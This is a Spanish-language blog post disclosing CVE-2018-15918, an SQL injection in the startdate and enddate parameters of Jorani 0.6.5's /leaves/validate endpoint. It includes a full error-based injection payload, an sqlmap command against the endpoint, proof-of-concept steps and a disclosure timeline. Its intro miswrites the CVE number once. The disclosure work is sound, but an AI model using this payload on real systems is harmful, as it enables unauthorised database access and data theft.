CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection  descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-159178 .

Jorani CVE-2018-15918

Jorani Leave Management System 0.6.5 – SQL Injection

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.

Vector de ataque / Criticidad de la explotación

CRITICIDAD - 🟣 CRÍTICA 🟣

A través de las vulnerabilidades SQL Injection , un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio  con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.

Parámetros vulnerables

Los parámetros startdate y enddate son vulnerable a ataques SQL Injection a través de peticiones POST en el recurso /leaves/validate, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.

💉 Payload

id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03′) AND (SELECT 2138 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (‘WfLI’=’WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=

📷 Captura de pantalla de SQLmap lanzando el comando

sqlmap -r jorani-poc.req -p enddate --dbms=MySQL --dbs

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Prueba de concepto (PoC)

1.  Si añadimos el caracter ' en el parámetro startdate obtenemos un error en la aplicación

1.1 Petición

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

1.2 Respuesta

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

2. En cambio, al añadir dos ', obtenemos un código 200 OK

2.1 Petición

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

2.2 Respuesta

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Timeline

  • 02/08/2018 Descubrimiento de la vulnerabilidad
  • 02/08/2018 Creo issue en GitHub del proyecto
  • 03/08/2018 El desarrollador invalida y cierra el issue 😥
  • 27/08/2018 Solicito CVE
  • 28/08/2018 Asignación de CVE-2018-15918 por MITRE
  • 03/09/2018 Hago pública la vulnerabilidad

Referencias

CVE-MITRE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15918

Un saludo a todos!! 👋